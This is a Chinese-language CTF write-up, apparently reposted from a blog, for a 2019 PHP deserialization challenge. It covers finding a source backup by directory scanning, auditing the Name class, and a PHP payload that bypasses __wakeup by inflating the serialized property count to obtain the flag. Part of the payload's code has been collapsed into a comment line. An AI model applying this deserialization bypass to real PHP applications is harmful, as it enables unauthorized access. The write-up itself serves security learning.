2019极客大挑战PHP反序列化

1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码。
2. 对其源码进行审计
  a. index.php 包含文件index.php;通过get方式获取一个参数select,并对参数select进行反序列化

  

  b. class.php 包含flag.php。主体部分为一个Name类,
  i. 有两个私有变量username,password
  ii. 构造方法__construct($usernam,$password)
  iii. 魔幻函数__wakeup(),在进行反序列化时调用,给变量username赋值为guest
  iv. 销毁函数__destruct(),结束对象是执行
    1) 第一个if判断是password是否为100。如果不为100就结束方法。
    2) 第二个if判断username是否为'admin',且为字符串。如果满足条件就输出flag

 

3. 解题思路:由index.php中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数,绕过wakeup()函数,最后执行destruct时,username='admin',password=100满足if条件输出flag
4. payload

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
  //username==='admin' password = 100    
}
//通过构造方法username='admin' password = 100 $a = new Name('admin',100); //序列化操作,并对字符串进行URL编码,因为Name类的变量为私有变量,避免打印时漏掉空格 $b = urlencode(serialize($a)); //修改属性的的个数,绕过__wakeup()函数 $b = str_replace('%3A2%3A','%3A3%3A',$b); echo $b ; ?>

flag

 

原文地址:https://www.cnblogs.com/ersuani/p/13815355.html